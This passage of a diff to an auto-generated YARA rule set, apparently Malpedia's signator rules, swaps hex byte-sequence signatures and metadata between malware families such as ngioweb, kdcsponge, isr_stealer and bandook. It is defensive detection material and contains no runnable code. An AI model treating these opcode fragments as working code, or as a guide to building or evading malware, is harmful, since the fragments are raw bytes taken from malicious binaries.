+		id = "49ca0960-3057-5b3f-bfaa-26bec43ff964"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ngioweb_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gameover_dga_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "53b049f61ecbdc954b47598eb5e1d9de9a9f52f58bb1ef6f666338c0ff24b7f4"
+		logic_hash = "04f58b9dead2fa0c3d00122a20892474bd44e61e3b7f09f6fdc5edfc6227d8a8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133027,32 +140185,32 @@ rule MALPEDIA_Win_Ngioweb_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4604 897808 eb15 894f08 8b06 89780c 893e }
-		$sequence_1 = { 394518 89b39c000000 c783a800000001000000 8983b0000000 7412 50 6884000000 }
-		$sequence_2 = { ffd0 85c0 7554 ff75fc 53 }
-		$sequence_3 = { 66c745ae6300 66c745ac5400 668975aa 66895dc4 e8???????? 33c0 }
-		$sequence_4 = { 668b460c 895f04 8d5f08 53 668907 ff7608 }
-		$sequence_5 = { 3bc7 7574 689f860100 6810270000 8d4508 50 }
-		$sequence_6 = { 53 8b5d24 68b9ed740a 56 e8???????? ff7518 ff7514 }
-		$sequence_7 = { ff75f0 ff15???????? ff15???????? 8b45e8 eb02 33c0 5f }
-		$sequence_8 = { 8bc3 5b 5d c21400 57 8b7c2408 85ff }
-		$sequence_9 = { 770b 0fb7c0 668b4445d8 668906 46 46 49 }
+		$sequence_0 = { 884617 33c0 40 e9???????? 8a4601 33db 8b6c2434 }
+		$sequence_1 = { 397e08 0f84f0000000 8be9 894c2414 8bd1 8b4604 8a0c03 }
+		$sequence_2 = { 48 7544 397714 763f 8b4710 ff34b0 }
+		$sequence_3 = { 833d????????00 7566 8d8de8fdffff e8???????? 51 be???????? 56 }
+		$sequence_4 = { 5f 5b c20c00 8bcf e8???????? 8bf0 }
+		$sequence_5 = { 56 ff15???????? 85c0 7443 56 be???????? 8d85f8fdffff }
+		$sequence_6 = { 8b84245c010000 40 e9???????? 8b476c 33c9 2bc3 }
+		$sequence_7 = { ff760c ff7608 6a10 e8???????? 84c0 0f847a010000 8364241c00 }
+		$sequence_8 = { e8???????? a1???????? ff7064 ff15???????? 6a53 8d55b8 8bf0 }
+		$sequence_9 = { 7510 8b4f10 e8???????? 85c0 75e5 32c0 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Kdcsponge_Auto : FILE
+rule MALPEDIA_Win_Unidentified_042_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "94fce6ec-ab5d-5082-ad22-afe2db84b161"
+		id = "9e093b61-c910-5742-8226-775531f91d9d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kdcsponge"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kdcsponge_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_042_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "8a36b853d0e2d90c09d30257cb4cad3c052e41eeb1a598728e2eabfd12dc7098"
+		logic_hash = "7aca5d090ae8281044c7e148c75c276642daf90859ffb2907ade4921d2dec5c9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133066,32 +140224,32 @@ rule MALPEDIA_Win_Kdcsponge_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 80b9b104000001 c6810904000008 0f85bf000000 80b9ad04000000 c781a004000002000000 c7416002001100 7552 }
-		$sequence_1 = { 488b8228040000 4885c0 7507 488b8230040000 4883c002 4803c1 }
-		$sequence_2 = { 7507 c681c504000006 c7814004000003000000 c781ca04000004000000 e9???????? e9???????? 3c01 }
-		$sequence_3 = { 0f85d5000000 80b9ad04000001 0f85bf000000 f681ae04000008 0f84b2000000 488b896c040000 }
-		$sequence_4 = { 898520030000 e8???????? 488d0db15ffcff 48c1e602 0fb784b9c0550400 488d91b04c0400 488d8d24030000 }
-		$sequence_5 = { 488b542450 488b4e08 e8???????? 488d4c2440 ff15???????? 0fb74504 ffc7 }
-		$sequence_6 = { 448d4020 c745c048895c24 488d55c0 c745c420555657 488d0df1480200 c745c841544155 c745cc41564157 }
-		$sequence_7 = { c6830804000001 f20f1005???????? 8b05???????? c7436003000100 eb24 83f807 753d }
-		$sequence_8 = { 7507 c681c504000006 ba65000000 c744243004000000 448bca c744242804000000 448bc2 }
-		$sequence_9 = { c6470801 e9???????? 41b803000000 488d1578f90000 488bcb e8???????? 85c0 }
+		$sequence_0 = { 85c0 754f 6a02 53 56 8d8d9cfeffff 57 }
+		$sequence_1 = { 56 8d8d68e1ffff 51 8d9554f7ffff 52 89b550f7ffff }
+		$sequence_2 = { 5b 85c0 78dd 8b45fc 8b55f8 0fb64c3801 4a }
+		$sequence_3 = { 8b4db8 895640 8b9518fdffff 895620 8b9520fdffff 894e44 8b8d1cfdffff }
+		$sequence_4 = { 8d8580cbffff 50 6a00 ff15???????? 85c0 7527 8b1d???????? }
+		$sequence_5 = { 5e 8bc7 5f 5d c3 8b7514 85f6 }
+		$sequence_6 = { 8bc3 2bc2 8d0c91 2bf0 42 8d3c87 3bf2 }
+		$sequence_7 = { 85db 0f85af000000 8d45ac 8bf0 8d5d9c 50 }
+		$sequence_8 = { 8d4df8 51 8d5df4 e8???????? 83c408 85c0 780d }
+		$sequence_9 = { 52 50 8d4b70 e8???????? 83c408 85c0 0f850b020000 }
 
 	condition:
-		7 of them and filesize <720896
+		7 of them and filesize <516096
 }
-rule MALPEDIA_Win_Soundbite_Auto : FILE
+rule MALPEDIA_Win_Crenufs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "080e0f3d-446d-56c0-ac80-bd020f7550e1"
+		id = "f753eb30-be4b-5f62-9991-28649f65a79a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.soundbite_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crenufs_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "dd4f6a00eb49b6e49c1bd5e71a528f06fe40aa9dfa91442cca75ad1ce88ee58a"
+		logic_hash = "62adacba8819f400983ac2aed5807f2d80c5566db3c1a2873916dcd6fb658c9d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133105,32 +140263,32 @@ rule MALPEDIA_Win_Soundbite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5518 48 89451c 8b4a08 3bc8 7702 2bc1 }
-		$sequence_1 = { c1e81f 8d4c02ff 398dd4fcffff 7d1f }
-		$sequence_2 = { ff15???????? 8a4e02 8066030f 0fb7c0 240f 02c0 02c0 }
-		$sequence_3 = { e8???????? 83c428 8d7de0 e8???????? 8b450c 8b4d18 8b5514 }
-		$sequence_4 = { c745f0c4e9f2e5 c745f4e3f4eff2 66c745f8f900 894dc0 c745c4d3ffc8ff c745c8c5ffccff c745ccccffb3ff }
-		$sequence_5 = { 49 894d18 3bc1 7437 8b7d14 8b5708 }
-		$sequence_6 = { 8b4d08 8b550c 8d0411 83f802 }
-		$sequence_7 = { 7702 2bc2 8b5104 8b3c82 8b4d2c 8b5528 51 }
-		$sequence_8 = { 68???????? ff15???????? 8b7508 c7465ca0634200 83660800 33ff 47 }
-		$sequence_9 = { 8d75a0 e8???????? 8b5da0 8b4da4 8bc3 2bc1 }
+		$sequence_0 = { 8b0c8de0934000 25ff000000 c1ea18 33cb 8b1c95e08f4000 8b56f8 }
+		$sequence_1 = { 55 56 57 8bf9 8a4c2444 33ed 884c2425 }
+		$sequence_2 = { ff15???????? 56 8d4d90 c645fc05 ff15???????? 56 8d4de0 }
+		$sequence_3 = { ffd0 83c408 53 ff15???????? 8b44243c 8b4e08 3bc5 }
+		$sequence_4 = { 59 50 57 8d4de0 ff15???????? bf???????? 57 }
+		$sequence_5 = { 750c 8b3d???????? 891d???????? 8d4c2444 ff15???????? 3bfb 7409 }
+		$sequence_6 = { ff15???????? 8d8d3cf2ffff c645fc03 e8???????? c645fc02 56 }
+		$sequence_7 = { 84c0 89542410 743e 3b31 752d 53 56 }
+		$sequence_8 = { 8d4c2444 895c2428 895c2430 33ff ff15???????? a1???????? 48 }
+		$sequence_9 = { 895dfc e8???????? 8b10 8bc8 ff5210 }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Makloader_Auto : FILE
+rule MALPEDIA_Win_Bleachgap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66719c32-80e8-5417-8026-25e6d48fb7fe"
+		id = "1c7bcc3b-871c-5292-a898-130d22929e4c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.makloader_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bleachgap_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5f1f26214c5086a379f59348aefd7c2032c0ef40c82a5b49aca00ae5277c9d78"
+		logic_hash = "feb4beb187c6596a9fcad947329bf36b55b60b3bae8b02c6a93cdc46dd85c07a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133144,32 +140302,32 @@ rule MALPEDIA_Win_Makloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a11 88955ce6ffff 838530e6ffff01 80bd5ce6ffff00 }
-		$sequence_1 = { 8d45f0 64a300000000 f2c3 8b4de4 33cd f2e8a8e9feff }
-		$sequence_2 = { 8d8de4fcffff 898d30e5ffff 8d95d8e5ffff 899534e5ffff 8d8530e5ffff 50 }
-		$sequence_3 = { 8b45d4 50 e8???????? 83c408 8945d4 837dd000 }
-		$sequence_4 = { 8b9540e5ffff 8bca c1e902 f3a5 8bca }
-		$sequence_5 = { 68???????? e8???????? 83c404 83f0ff 50 0fb695e5e5ffff }
-		$sequence_6 = { 3bf3 72e9 5f 5e 5b c3 56 }
-		$sequence_7 = { 51 e8???????? 83c404 ba01000000 6bca05 8b5508 }
-		$sequence_8 = { 8d95e0f3ffff 52 8d8d70e6ffff e8???????? 8d8570ffffff }
-		$sequence_9 = { 89856ce6ffff 6a4b 6a00 8d55b0 52 e8???????? 83c40c }
+		$sequence_0 = { 8bec ff750c e8???????? 8bc8 83f9ff 7506 32c0 }
+		$sequence_1 = { c645fc04 8b8d70fbffff 83f910 722f 8b955cfbffff 41 8bc2 }
+		$sequence_2 = { e9???????? ff7104 8d442414 6800010000 50 e8???????? 8d442410 }
+		$sequence_3 = { c68539ffffff7a c6853affffff5f c6853bffffff55 c6853cffffff41 c6853dffffff57 c6853effffff3c c6853fffffff41 }
+		$sequence_4 = { eb0d 8b450c 8945b8 c745b400000000 84c9 8d4dd4 0f44f2 }
+		$sequence_5 = { c6431000 894924 c645fc02 8d45e0 c645e801 0f57c0 660fd607 }
+		$sequence_6 = { 88442426 8b442410 0413 3457 88442427 8b442410 0414 }
+		$sequence_7 = { b801000000 d3e0 8502 0f8459ffffff 8b4614 8b5714 8b0e }
+		$sequence_8 = { ff750c 50 e8???????? 83c410 85c0 0f84d9010000 53 }
+		$sequence_9 = { 8a13 8bc1 8b4df0 43 41 894df4 3810 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <4538368
 }
-rule MALPEDIA_Win_Microbackdoor_Auto : FILE
+rule MALPEDIA_Win_Mydogs_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "32768709-e0c4-568e-99b5-4d92498e8c97"
+		id = "8e0c4ca1-c33b-55e0-bdee-122873680dc3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.microbackdoor_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mydogs_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "d87bae84a1434eb391a7ebc0d4af12aee586692c39928b7bf8d060b1c97f49c6"
+		logic_hash = "64d7e86bc2c7d2208d4e1b71baa972c2ebb11908509ae447cb6fe3a57912500e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133183,38 +140341,32 @@ rule MALPEDIA_Win_Microbackdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb74510 50 ff750c ff15???????? }
-		$sequence_1 = { ffd7 eb06 ff15???????? 8bc6 eb06 }
-		$sequence_2 = { 488bcd 418bdc 4d8bfc e8???????? 85db 755b 488d842478020000 }
-		$sequence_3 = { 8939 488d4c2430 41b89c000000 e8???????? 488d4c2430 }
-		$sequence_4 = { 74df 8d047506000000 50 6a40 ff15???????? 8bc8 894d0c }
-		$sequence_5 = { 85c0 751d 837c247001 7516 395c2478 7610 488b4c2430 }
-		$sequence_6 = { 4885db 7417 0fb7445ffe 6683f85c 7406 6683f82f }
-		$sequence_7 = { 498bce 33f6 e8???????? 85ed }
-		$sequence_8 = { 498bce 4489bc2488000000 453bc4 4c897c2420 }
-		$sequence_9 = { 56 6a00 6a00 68???????? ff75f8 ff15???????? 85c0 }
-		$sequence_10 = { ff15???????? 8d4336 50 6a40 ff15???????? 8bf8 }
-		$sequence_11 = { 8bf8 897dd4 85ff 7498 837df800 b9???????? 8b5dfc }
-		$sequence_12 = { ff15???????? 488bd8 4885c0 7512 ff15???????? 488d0d503e0000 }
-		$sequence_13 = { 8bf8 e9???????? 33c0 40 e9???????? ff15???????? }
-		$sequence_14 = { 83feff 743b 8b4d0c ff7510 894df4 ff15???????? 668945f2 }
-		$sequence_15 = { 85c0 0f84bb010000 66833d????????00 0f84ad010000 }
+		$sequence_0 = { 3db7000000 0f8444010000 68???????? 6804010000 68???????? e8???????? }
+		$sequence_1 = { 884df3 c1fa18 8b5364 8bc2 8bce 0facc108 c1f808 }
+		$sequence_2 = { 5d e9???????? 6a18 68???????? e8???????? 8b4508 8bd8 }
+		$sequence_3 = { 894e64 8b4dec 894650 894658 894660 8b45ee 8d49c4 }
+		$sequence_4 = { 50 ffb5e4eeffff ffb5f8eeffff ff15???????? 85c0 7515 5f }
+		$sequence_5 = { 8bf9 53 895ddc 897de0 e8???????? }
+		$sequence_6 = { 8b4dfc 33cd e8???????? 8be5 5d c3 8d85f4eeffff }
+		$sequence_7 = { 50 8bcf c645ff4b e8???????? 6a01 8d450b 50 }
+		$sequence_8 = { 1ddeb19d01 50 51 89530c e8???????? 894310 }
+		$sequence_9 = { e8???????? 50 6800080000 53 89442434 e8???????? 83c414 }
 
 	condition:
-		7 of them and filesize <123904
+		7 of them and filesize <313344
 }
-rule MALPEDIA_Win_Tiop_Auto : FILE
+rule MALPEDIA_Win_Pss_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a48d1e15-9fc1-5bab-9fa2-c3c7b063ec8e"
+		id = "c85e1f97-adb5-5a29-88aa-4e9dab9b1814"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiop_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pss_auto.yar#L1-L136"
 		license_url = "N/A"
-		logic_hash = "62d0ea75fcf8689409f77f7c307d37bf3637d8a3da71cff9b0be16f18afd1eb3"
+		logic_hash = "3fa2b0cf1b29b7abf02331e25c131d124a839f7a317f2ebb6c59c1c9547e53c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133228,34 +140380,37 @@ rule MALPEDIA_Win_Tiop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81ec08010000 55 56 57 b940000000 33c0 8d7c2411 }
-		$sequence_1 = { ff15???????? 50 ff15???????? 8b3d???????? 8bf0 ffd7 50 }
-		$sequence_2 = { 57 33ed b94f000000 33c0 8d7c240c 896c2408 892d???????? }
-		$sequence_3 = { ff15???????? 50 8b44241c 53 50 ff5510 8b4c241c }
-		$sequence_4 = { 8b7c2410 56 8b35???????? 894704 ffd6 55 ffd6 }
-		$sequence_5 = { f3a4 8b442414 8b7500 8b4c2410 2bf0 03d0 897500 }
-		$sequence_6 = { eb2e 50 ffd3 8d7c0002 8bc7 83c003 24fc }
-		$sequence_7 = { 6a01 6a00 ffd7 8b1d???????? 8bf0 56 89742410 }
-		$sequence_8 = { 83c9ff 33c0 83c404 f2ae f7d1 6a10 49 }
-		$sequence_9 = { 8b542418 8b4c2420 8b3d???????? 8944240c 8b44242c 89542408 8b542424 }
+		$sequence_0 = { 8d48fe e8???????? e9???????? 83f811 }
+		$sequence_1 = { 7437 ff15???????? 3de5030000 752a }
+		$sequence_2 = { ff15???????? 83ceff 3bc6 7504 }
+		$sequence_3 = { 5e 5b 0f42ca 85c0 0f45c8 }
+		$sequence_4 = { 0fb619 0fb6c0 eb17 81fb00010000 7313 8a87a4f10110 }
+		$sequence_5 = { 8d542418 8bce e8???????? 59 59 }
+		$sequence_6 = { 8bf9 46 85ff 744f 833fff 7410 ff37 }
+		$sequence_7 = { 0fb6c0 5f 5e 5b c9 }
+		$sequence_8 = { 488d4c2428 e8???????? 90 4c8d05b3b70000 488bd0 488d0db1610100 }
+		$sequence_9 = { ff15???????? b001 eb25 e8???????? }
+		$sequence_10 = { e8???????? 90 4c8d05d3b50000 488bd0 }
+		$sequence_11 = { 488bcb e8???????? e9???????? ba80000000 488bcb }
+		$sequence_12 = { 488b4de7 e8???????? 48c745ff07000000 48897df7 }
 
 	condition:
-		7 of them and filesize <712704
+		7 of them and filesize <421888
 }
-rule MALPEDIA_Win_Transbox_Auto : FILE
+rule MALPEDIA_Elf_Gobrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6493b67c-879c-5d38-8ca0-5969cb4aa6f0"
+		id = "4556c50c-642d-5e08-a37f-0bca17aca318"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.transbox_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.gobrat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d97e3f1924a5eeca38d9aa110b067c359caad44c72bb11cebc9ddfa66ee7e3d6"
-		score = 75
-		quality = 75
+		logic_hash = "d983e645d32d0df64baf254a8f8a69a3323d191b1dd7ae64a36bbf4746335d3e"
+		score = 60
+		quality = 35
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -133267,19 +140422,19 @@ rule MALPEDIA_Win_Transbox_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 64a300000000 eb24 8b048d90b60110 41 50 890d???????? ff15???????? }
-		$sequence_1 = { 33c9 83c414 85c0 0f9fc1 8bc1 8b4dfc 33cd }
-		$sequence_2 = { 8d4e04 c706???????? 832100 83610400 51 50 ff15???????? }
-		$sequence_3 = { e9???????? 55 8bec 56 8b7508 57 bf???????? }
-		$sequence_4 = { f7fb 56 8bf0 bbe0077e00 8bc3 2bc6 83f801 }
-		$sequence_5 = { f77dfc 50 51 e8???????? 83c40c 69c708020000 5f }
-		$sequence_6 = { 8bbdbcd3ffff 53 6a01 8d8d28e1ffff 885dfc }
-		$sequence_7 = { 8d85e8fdffff 6808020000 895dfc 53 50 89bddcfdffff 899de4fdffff }
-		$sequence_8 = { 33c9 8985dcfcffff 51 50 }
-		$sequence_9 = { 8d85f8faffff 50 e8???????? 8bd0 8b02 85c0 7402 }
+		$sequence_0 = { e8???????? 48833800 0f8f28020000 488b942428010000 4885d2 7508 e8???????? }
+		$sequence_1 = { 84c0 745c 488b542430 488b5a30 488b742428 488b4630 488b4e38 }
+		$sequence_2 = { c644242903 488d055aca3200 488d5c2418 e8???????? 4889c3 488d0546ca3200 e8???????? }
+		$sequence_3 = { eb41 488d059c311e00 e8???????? 48c740081c000000 488d0d39a62300 488908 31db }
+		$sequence_4 = { e8???????? 488b942460020000 488b7218 48897020 48837a7000 7542 488d1df7fc3200 }
+		$sequence_5 = { c3 31c0 488b6c2478 4883ec80 c3 488b8c2488000000 488b4110 }
+		$sequence_6 = { f7da 410fafd1 89d2 480fafd3 48c1ea2f 4489c6 41c1e008 }
+		$sequence_7 = { ffd2 b91a000000 4889c7 4889de 31c0 488d1dd7ce2d00 e8???????? }
+		$sequence_8 = { b825010000 e8???????? 4885c9 745d 4883f902 7712 753c }
+		$sequence_9 = { e8???????? 48c7400822000000 488d0de4212200 488908 31db 4889d9 488d3d244d2a00 }
 
 	condition:
-		7 of them and filesize <288768
+		7 of them and filesize <12853248
 }
 rule MALPEDIA_Win_Nighthawk_Auto : FILE
 {
@@ -133320,18 +140475,18 @@ rule MALPEDIA_Win_Nighthawk_Auto : FILE
 	condition:
 		7 of them and filesize <1949696
 }
-rule MALPEDIA_Win_Isr_Stealer_Auto : FILE
+rule MALPEDIA_Win_Sword_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f92134ff-d8ee-58cb-8cb8-468d7205306f"
+		id = "48310a96-8b09-5184-8f0c-c81d31bbe550"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isr_stealer_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sword"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sword_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "75691989209029cb7a637cf5df87a857ef3ef18b6fe3194f56cba1ecab86658c"
+		logic_hash = "f0b3a1cc57dfaff82b285dd4a0f174f5006c9f22ab9c244578d6f7f68d086b5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133345,85 +140500,32 @@ rule MALPEDIA_Win_Isr_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { fb b05e 2bc1 e8???????? 661e }
-		$sequence_1 = { 08ac22c115978d 0e e8???????? 07 }
-		$sequence_2 = { 1c8b 53 2456 2bd1 807e6543 }
-		$sequence_3 = { 46 1e 301b 15c2c8c807 d6 12d8 }
-		$sequence_4 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e e8???????? }
-		$sequence_5 = { a7 8d16 b205 07 d32cb6 08ac22c115978d }
-		$sequence_6 = { 07 fb b05e 2bc1 e8???????? }
-		$sequence_7 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e }
-		$sequence_8 = { 07 d32cb6 08ac22c115978d 0e e8???????? }
-		$sequence_9 = { e8???????? 07 fb b05e 2bc1 e8???????? 661e }
-
-	condition:
-		7 of them and filesize <540672
-}
-rule MALPEDIA_Win_Oldbait_Auto : FILE
-{
-	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ebf9fc57-4949-58c7-824e-3ca5b4d74ce5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oldbait_auto.yar#L1-L228"
-		license_url = "N/A"
-		logic_hash = "d1cd1bc5ec310d79468f4c2de84867d1b6cb0114c1b0bc749b36388cf16e7127"
-		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 05d4db1900 8945f4 ff35???????? ff75fc ff55f4 5f 5e }
-		$sequence_1 = { 8bec 8b450c 56 33d2 57 }
-		$sequence_2 = { 33d2 57 8b7d08 8d70ff 85f6 7626 }
-		$sequence_3 = { 01459c 8b45c8 8945f8 eb05 }
-		$sequence_4 = { 69c061ea0000 3571281424 42 3bd6 894510 72da }
-		$sequence_5 = { 0145d8 8bb54cffffff 56 ff55d0 }
-		$sequence_6 = { 0145d8 33ff 8d837ff61800 803800 }
-		$sequence_7 = { 0145d8 8b45f0 ff45ec 0fb64004 }
-		$sequence_8 = { 0531b11800 50 8b45f8 0531010000 50 }
-		$sequence_9 = { 0145d4 41 c1ea04 75dc }
-		$sequence_10 = { 837d2000 7432 66c7045f0d00 43 66c7045f0a00 43 }
-		$sequence_11 = { 0145d8 8b45d8 3b45c8 7cc2 }
-		$sequence_12 = { 83e107 d3e8 30043a 8b4510 69c061ea0000 3571281424 42 }
-		$sequence_13 = { 6a40 6800300000 68d4fd1900 6a00 }
-		$sequence_14 = { 894510 72da 8bc7 5f 5e }
-		$sequence_15 = { 0103 01451c 8b06 8bc8 c1e906 }
-		$sequence_16 = { 8b55fc 8a5d0f 8d4701 83e007 02d9 }
-		$sequence_17 = { 7439 8d85bcfdffff 68???????? 50 }
-		$sequence_18 = { ffd6 68???????? 53 8945f0 ffd6 6a64 }
-		$sequence_19 = { 50 e8???????? ff75f4 8d8578ffffff 68???????? }
-		$sequence_20 = { ffd6 ffd0 8d85c0feffff 50 8d85bcfdffff }
-		$sequence_21 = { 8945ec ff7508 6a01 6a00 6a00 }
-		$sequence_22 = { 8d4df4 8945d4 51 57 50 }
-		$sequence_23 = { 57 50 53 68???????? ff35???????? ffd6 ffd0 }
+		$sequence_0 = { f7d1 2bf9 8d942484020000 8bf7 8bfa }
+		$sequence_1 = { ff15???????? 8b8c2434000100 50 8b84243c000100 8d542424 }
+		$sequence_2 = { 50 8d54241c 51 52 ff15???????? 85c0 0f8488090000 }
+		$sequence_3 = { 49 885c29ff 807d0022 7520 8d7d01 }
+		$sequence_4 = { 83c9ff 33c0 8d942488030000 f2ae f7d1 49 }
+		$sequence_5 = { 77c8 bf???????? 83c9ff 33c0 f2ae f7d1 }
+		$sequence_6 = { b940000000 33c0 8d7c2419 8894241c010000 f3ab }
+		$sequence_7 = { 83c9ff 33c0 f2ae f7d1 2bf9 55 }
+		$sequence_8 = { 8dbc2494060000 83c9ff 33c0 f2ae f7d1 49 }
+		$sequence_9 = { f7d1 49 83f903 77c8 bf???????? }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Yayih_Auto : FILE
+rule MALPEDIA_Win_Bandook_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad6edea8-11c9-5fa2-96f2-3800b1bd4695"
+		id = "facf6ec8-b33d-5307-a31b-1f1e19226ca5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih"
